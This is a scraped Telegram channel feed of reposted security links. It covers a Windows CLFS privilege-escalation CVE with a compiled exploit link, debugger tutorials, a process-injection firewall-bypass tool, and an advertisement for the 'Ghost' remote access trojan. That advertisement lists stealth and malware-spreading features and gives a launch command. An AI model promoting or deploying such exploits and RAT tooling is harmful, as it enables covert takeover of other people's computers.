Source Byte
رفتن به کانال در Telegram
هشیار کسی باید کز عشق بپرهیزد وین طبع که من دارم با عقل نیامیزد Saadi Shirazi 187
نمایش بیشتر8 565
مشترکین
+1024 ساعت
+517 روز
+21930 روز
آرشیو پست ها
8 564
Repost from APT
👩💻 Windows CLFS Driver Privilege Escalation
This vulnerability targets the Common Log File System (CLFS) and allows attackers to escalate privileges and potentially fully compromise an organization’s Windows systems. In April 2023, Microsoft released a patch for this vulnerability and the CNA CVE-2023-28252 was assigned.
📊 Affects version:
— Windows 11 21H2 (clfs.sys version 10.0.22000.1574);
— Windows 11 22H2;
— Windows 10 21H2;
— Windows 10 22H2;
— Windows Server 2022.
Research:
🔗 https://www.coresecurity.com/core-labs/articles/analysis-cve-2023-28252-clfs-vulnerability
Exploit:
🔗 https://github.com/duck-sec/CVE-2023-28252-Compiled-exe
#windows #privesc #clfs #driver
8 564
Repost from CyberSecurityTechnologies
#Cyber_Education
Writing a Debugger
Part 1 - Attaching to a Process
https://www.timdbg.com/posts/writing-a-debugger-from-scratch-part-1
Part 2 - Register State and Stepping
https://www.timdbg.com/posts/writing-a-debugger-from-scratch-part-2
Part 3 - Reading Memory
https://www.timdbg.com/posts/writing-a-debugger-from-scratch-part-3
Part 4 - Exports and Private Symbols
https://www.timdbg.com/posts/writing-a-debugger-from-scratch-part-4
Part 5 - Breakpoints
https://www.timdbg.com/posts/writing-a-debugger-from-scratch-part-5
Part 6 - Stacks
https://www.timdbg.com/posts/writing-a-debugger-from-scratch-part-6
8 564
Download data from the internet bypassing the firewall using process injection
https://github.com/redeflesq/firewall-bypass
#tool
———
@islemolecule_source
8 564
An Introduction to Deep File Inspection® (DFI)
inquest.net/blog/an-introduc…
#CVE ,
———
@islemolecule_source
8 564
JAVA-Based Sophisticated Stealer Using Discord Bot as EventListener
Link
#malware_analysis
———
@islemolecule_source
8 564
Quick Assembler
Simple (experimental) x86/x86 assembler and emulator.
https://github.com/zodiacon/QuickAsm
8 564
Stack Canaries – By sans
https://www.sans.org/blog/stack-canaries-gingerly-sidestepping-the-cage/
#windows
———
@islemolecule_source
8 564
Repost from BugCod3
👻 Ghost 👻
👻 RAT (Remote Access Trojan) - Silent Botnet - Full Remote Command-Line Access - Download & Execute Programs - Spread Virus' & Malware
💬
ghost is a light RAT that gives the server/attacker full remote access to the user's command-line interpreter (cmd.exe). They are allowed to execute commands silently without the client/zombie noticing. The server/attacker is also given the ability to download and execute files on the client/zombie's computer. This is also a silent and hidden process. Like most Remote Access Trojans, this download and execution ability helps distribute viruses and other pieces of malware.
👁🗨
This malware is distributed simply by running zombie.exe. This file name can be changed to whatever. There is no restriction. When run, it searches for the first two arguments (IP & Port). If neither is provided, the program doesn't run. With that being said, make sure you provide the server's IP and Port in the command-line arguments. Example:
zombie.exe 127.0.0.1 27015📊 Features: ⚪️ Remote command execution ⚪️ Silent background process ⚪️ Download and run file (Hidden) ⚪️ Safe Mode startup ⚪️ Will automatically connect to the server ⚪️ Data sent and received is encrypted (substitution cipher) ⚪️ Files are hidden ⚪️ Installed Antivirus shown to server ⚪️ Easily spread malware through download feature ⚪️ Startup info doesn't show in msconfig or other startup checking programs like CCleaner ⚪️ Disable Task Manager 😸 Github ⬇️ Download 🔒
BugCod3
#Rat #Malware #Remote #Access
➖➖➖➖➖➖➖➖➖➖
👤 T.me/BugCod3BOT
📣 T.me/BugCod38 564
Bypass firewall through process injection
https://github.com/redeflesq/firewall-bypass
#malware_dev
———
@islemolecule_source
